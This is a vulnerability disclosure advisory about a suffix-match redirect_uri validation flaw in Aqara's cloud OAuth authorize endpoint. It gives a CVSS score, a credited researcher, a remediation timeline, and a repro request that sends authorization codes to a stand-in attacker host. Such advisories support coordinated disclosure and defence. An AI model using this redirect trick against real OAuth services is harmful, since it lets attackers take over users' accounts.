Aqara OAuth redirect_uri validation bypass

Executive summary #

The Aqara Cloud OAuth Authorization Endpoint (open-cn.aqara.com/oauth/authorize) is vulnerable to a redirect bypass due to lax controls on domain matching, which is an instance of "CWE-1289: Improper Validation of Unsafe Equivalence in Input" and has an estimated CVSS of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N (9.3 Critical).

Technical details #

GET /oauth/authorize validates the redirect_uri parameter by suffix match instead of exact match. Any URL ending in aqara.com passes validation, including https://aqara.com.evil.example.com. The OAuth authorization code is delivered to the attacker-controlled host after the victim grants consent.

Repro:

GET https://open-cn.aqara.com/oauth/authorize?
    response_type=code&
    client_id=<valid>&
    redirect_uri=https://aqara.com.evil.example.com&
    state=<state>

After user consent, the auth code arrives at aqara.com.evil.example.com.

Further technical details for this issue can be found at https://github.com/xn0tsa/theres-no-place-like-home

Attacker value #

This vulnerability is a standard OAuth account takeover for any third-party integration that authorizes via Aqara SSO, which could be used to leverage credentialed access to assets not normally in the attacker's scope of control.

Credit #

These issues were discovered, documented, and disclosed by Sammy Azdoufal. CVE coordination was performed by Tod Beardsley of runZero, Inc.

Timeline #

2026-03-13: Set of issues discovered by the researcher and outreach to the vendor initiated

2026-03-30: Second outreach by the researcher

2026-04-08: Various findings and vulnerabilities remediated by the vendor

2026-04-20: Acknowledged the researcher's reporting

2026-04-20: The vendor stated this issue has been fixed

2026-06-12: This public disclosure (90 days from first contact)

For more details on specific findings and fixes, please see the researcher's website at https://github.com/xn0tsa/theres-no-place-like-home.